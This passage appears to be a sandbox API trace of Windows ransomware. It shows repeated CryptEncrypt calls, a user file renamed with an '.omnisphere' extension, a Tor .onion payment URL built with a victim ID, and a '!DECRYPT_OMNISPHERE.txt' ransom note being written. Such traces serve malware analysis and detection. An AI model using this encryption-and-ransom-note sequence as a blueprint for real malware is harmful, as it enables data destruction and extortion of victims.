pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.424] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.425] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.426] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.427] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.428] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.428] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.428] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.428] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.428] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.428] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.428] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.428] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.428] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.428] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.428] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.428] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.428] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.429] CryptDestroyKey (hKey=0x1639628) returned 1 [0063.429] CryptReleaseContext (hProv=0x163c498, dwFlags=0x0) returned 1 [0063.429] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x6d8b, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.430] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0063.430] GetProcessHeap () returned 0x1600000 [0063.430] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x286) returned 0x164e210 [0063.430] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\i74al7MC18tUuay.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\i74al7mc18tuuay.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\i74al7MC18tUuay.m4a.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\i74al7mc18tuuay.m4a.omnisphere")) returned 1 [0063.432] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\i74al7MC18tUuay.m4a.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\i74al7MC18tUuay.m4a.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\i74al7MC18tUuay.m4a.omnisphere.id" [0063.432] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\i74al7MC18tUuay.m4a.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\i74al7mc18tuuay.m4a.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.432] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0063.433] CloseHandle (hObject=0x3a8) returned 1 [0063.434] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0063.434] CloseHandle (hObject=0x3a4) returned 1 [0063.435] SetEndOfFile (hFile=0x3a0) returned 1 [0063.435] FlushFileBuffers (hFile=0x3a0) returned 1 [0063.477] CloseHandle (hObject=0x3a0) returned 1 [0063.477] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\i74al7MC18tUuay.m4a" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0063.477] GetProcessHeap () returned 0x1600000 [0063.477] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1653ff0 [0063.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.478] GetProcessHeap () returned 0x1600000 [0063.478] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641b38 [0063.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641b38, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0063.478] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0063.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.478] GetProcessHeap () returned 0x1600000 [0063.478] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162fab0 [0063.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162fab0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0063.478] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0063.478] GetProcessHeap () returned 0x1600000 [0063.478] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163bb08 [0063.478] PathCombineW (in: pszDest=0x163bb08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0063.478] GetProcessHeap () returned 0x1600000 [0063.478] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1659198 [0063.478] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.479] WriteFile (in: hFile=0x3a0, lpBuffer=0x1659198*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1659198*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0063.479] CloseHandle (hObject=0x3a0) returned 1 [0063.479] GetProcessHeap () returned 0x1600000 [0063.479] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1653ff0 | out: hHeap=0x1600000) returned 1 [0063.479] 